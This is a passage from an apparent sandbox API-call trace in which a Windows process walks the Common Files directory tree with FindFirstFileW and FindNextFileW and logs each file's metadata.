ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0093.521] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0093.523] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.523] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0093.523] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0093.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0093.525] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.525] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0093.526] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0093.526] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0093.526] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0093.526] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0093.526] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0093.526] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0093.526] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0093.527] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0093.527] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0093.527] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.527] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0093.527] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0093.527] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0093.527] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0093.527] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0093.527] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.529] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0093.529] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0093.529] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0093.530] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x365f4540, ftCreationTime.dwHighDateTime=0x1d5440b, ftLastAccessTime.dwLowDateTime=0xb1261d00, ftLastAccessTime.dwHighDateTime=0x1d59341, ftLastWriteTime.dwLowDateTime=0xb1261d00, ftLastWriteTime.dwHighDateTime=0x1d59341, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="samuel-clubs.exe", cAlternateFileName="SAMUEL~1.EXE")) returned 1 [0093.530] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0093.531] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0093.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0093.531] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.531] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0093.531] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0093.531] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0093.531] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0093.531] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0093.531] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0093.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0093.534] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.534] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ado", cAlternateFileName="")) returned 1 [0093.534] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0094.062] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.062] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0094.062] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0094.062] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0094.062] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0094.062] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0094.063] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0094.063] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0094.064] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, 